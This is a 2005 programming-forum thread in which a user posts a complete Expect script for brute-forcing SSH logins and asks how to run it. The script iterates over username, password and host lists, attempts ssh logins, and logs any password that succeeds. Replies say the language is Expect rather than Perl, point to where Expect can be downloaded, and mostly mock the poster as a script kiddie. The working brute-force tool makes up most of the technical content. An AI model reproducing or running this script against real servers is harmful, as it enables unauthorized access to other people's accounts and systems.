Programming Forums
User Name Password Register
 

RSS Feed
FORUM INDEX | TODAY'S POSTS | UNANSWERED THREADS | ADVANCED SEARCH

Reply
 
Thread Tools Display Modes
Old Aug 21st, 2005, 6:08 PM   #1
ProjectX
Programmer
 
ProjectX's Avatar
 
Join Date: Feb 2005
Posts: 37
Rep Power: 0 ProjectX is on a distinguished road
Is this Perl

How do i run this code. I tried C:\>perl -w SSH.pl(this is what i called the file) and I got n error.

#!/usr/bin/expect -f
#
# Written by James Shanahan
(jshanahan@comcastpc.com)
# and Erin Palmer(epalmer@comcastpc.com)
# ssh brute forcer
# This will alow you to specify hosts, password
lists, and a user
# I do not take any reponsibilty for what you do with
this tool
# Hopefully it will make your life easier rather then
making other
# peoples lives more difficult!
     
set timeout 5
set dictionary [lindex $argv 0]
set file [lindex $argv 1]
set user [lindex $argv 2]

if {[llength $argv] != 3} {
   puts stderr "Usage: $argv0 <dictionary-file> <hosts-
file> <user-file>\n"
   exit }

set tryHost [open $file r]
set tryPass [open $dictionary r]
set tryUser [open $user r]

set passwords [read $tryPass]
set hosts [read $tryHost]
set login [read $tryUser]

foreach username $login {
foreach passwd $passwords {
foreach ip $hosts {
spawn ssh $username@$ip
expect ":"
   send "$passwd\n"
set logFile [open $ip.log a]
expect "L" {
puts $logFile "password for $username@$ip is
$passwd\n"
close $logFile
}
set id [exp_pid]
exec kill -INT $id
}
    }
}
ProjectX is offline   Reply With Quote
Old Aug 21st, 2005, 6:43 PM   #2
iignotus
Professional Programmer
 
iignotus's Avatar
 
Join Date: Apr 2005
Location: Nowhere Special
Posts: 466
Rep Power: 4 iignotus is on a distinguished road
Send a message via AIM to iignotus
Well it says "/usr/bin/expect", so it's an expect program (whatever that is), not perl. Nice ssh br00t3r you have there ROFL.
__________________
% rc4 hexkey < input > output
#define S ,t=s[i],s[i]=s[j],s[j]=t /* rc4 hexkey <file */
unsigned char k[256],s[256],i,j,t;main(c,v,e)char**v;{++v;while(++i)s[ 
i]=i;for(c=0;*(*v)++;k[c++]=e)sscanf((*v)++-1,"%2x",&e);while(j+=s[i]
+k[i%c]S,++i);for(j=0;c=~getchar();putchar(~c^s[t+=s[i]]))j+=s[++i]S;}
iignotus is offline   Reply With Quote
Old Aug 21st, 2005, 6:57 PM   #3
ProjectX
Programmer
 
ProjectX's Avatar
 
Join Date: Feb 2005
Posts: 37
Rep Power: 0 ProjectX is on a distinguished road
yeah but how do i run it
ProjectX is offline   Reply With Quote
Old Aug 21st, 2005, 8:01 PM   #4
sykkn
Hobbyist Programmer
 
Join Date: Apr 2004
Location: Texas
Posts: 106
Rep Power: 5 sykkn is on a distinguished road
Quote:
Originally Posted by ProjectX
yeah but how do i run it
go grab a copy of expect .... http://expect.nist.gov/#windows
__________________
[ [ SykkN alloc ] initWithThePowerTo: destroyYouAll ];
/* Don't make me use it! */
sykkn is offline   Reply With Quote
Old Aug 21st, 2005, 9:59 PM   #5
ProjectX
Programmer
 
ProjectX's Avatar
 
Join Date: Feb 2005
Posts: 37
Rep Power: 0 ProjectX is on a distinguished road
can you please give me the download page link. cause i cant find it. Please thanks
ProjectX is offline   Reply With Quote
Old Aug 22nd, 2005, 1:23 AM   #6
iignotus
Professional Programmer
 
iignotus's Avatar
 
Join Date: Apr 2005
Location: Nowhere Special
Posts: 466
Rep Power: 4 iignotus is on a distinguished road
Send a message via AIM to iignotus
I like how you think you're going to try to brute something and you can't find a download link on a page full of download links ;P
__________________
% rc4 hexkey < input > output
#define S ,t=s[i],s[i]=s[j],s[j]=t /* rc4 hexkey <file */
unsigned char k[256],s[256],i,j,t;main(c,v,e)char**v;{++v;while(++i)s[ 
i]=i;for(c=0;*(*v)++;k[c++]=e)sscanf((*v)++-1,"%2x",&e);while(j+=s[i]
+k[i%c]S,++i);for(j=0;c=~getchar();putchar(~c^s[t+=s[i]]))j+=s[++i]S;}
iignotus is offline   Reply With Quote
Old Aug 22nd, 2005, 8:35 AM   #7
Infinite Recursion
Programming Guru
 
Infinite Recursion's Avatar
 
Join Date: Jul 2004
Location: United States
Posts: 3,453
Rep Power: 7 Infinite Recursion is on a distinguished road
Send a message via MSN to Infinite Recursion Send a message via Yahoo to Infinite Recursion
A brute force script... lol. You don't consider yourself a "hacker" do you? Note: hackers don't use other peoples' scripts, they write their own
__________________
http://jasonpowers.net

"There are a thousand hacking at the branches of evil to one who is striking at the root."
Infinite Recursion is offline   Reply With Quote
Old Aug 22nd, 2005, 9:19 AM   #8
Dizzutch
Professional Programmer
 
Dizzutch's Avatar
 
Join Date: Dec 2004
Location: Worcester, MA
Posts: 441
Rep Power: 4 Dizzutch is on a distinguished road
Send a message via ICQ to Dizzutch Send a message via AIM to Dizzutch Send a message via MSN to Dizzutch Send a message via Yahoo to Dizzutch
hackers don't brute force, that's called a script-kiddie. A hacker wouldn't want to waste time getting into a system that's able to be accessed through brute force ssh.
__________________
naked pictures of you | PFO F@H stats
Dizzutch is offline   Reply With Quote
Old Aug 22nd, 2005, 9:27 AM   #9
Infinite Recursion
Programming Guru
 
Infinite Recursion's Avatar
 
Join Date: Jul 2004
Location: United States
Posts: 3,453
Rep Power: 7 Infinite Recursion is on a distinguished road
Send a message via MSN to Infinite Recursion Send a message via Yahoo to Infinite Recursion
Apparently, since my days of the above mentioned subject matter... there has been the creation of terms: "gray hat" and "black hat" hacker... I suppose script kiddies would be "bald" ?
__________________
http://jasonpowers.net

"There are a thousand hacking at the branches of evil to one who is striking at the root."
Infinite Recursion is offline   Reply With Quote
Old Aug 22nd, 2005, 9:32 AM   #10
coldDeath
Expert Programmer
 
coldDeath's Avatar
 
Join Date: Aug 2005
Location: UK
Posts: 862
Rep Power: 3 coldDeath is on a distinguished road
Send a message via AIM to coldDeath Send a message via Yahoo to coldDeath
lol bald
__________________
Join us at #programmingforums @ irc.freenode.net!

My software never has bugs. It just develops random features.
coldDeath is offline   Reply With Quote
Reply

Bookmarks

« Previous Thread in Forum | Next Thread in Forum »

Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
 
Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Forum Jump




DaniWeb IT Discussion Community
All times are GMT -5. The time now is 6:45 AM.

Powered by vBulletin® Version 3.7.0, Copyright ©2000 - 2008, Jelsoft Enterprises Ltd.
Copyright ©2007 DaniWeb® LLC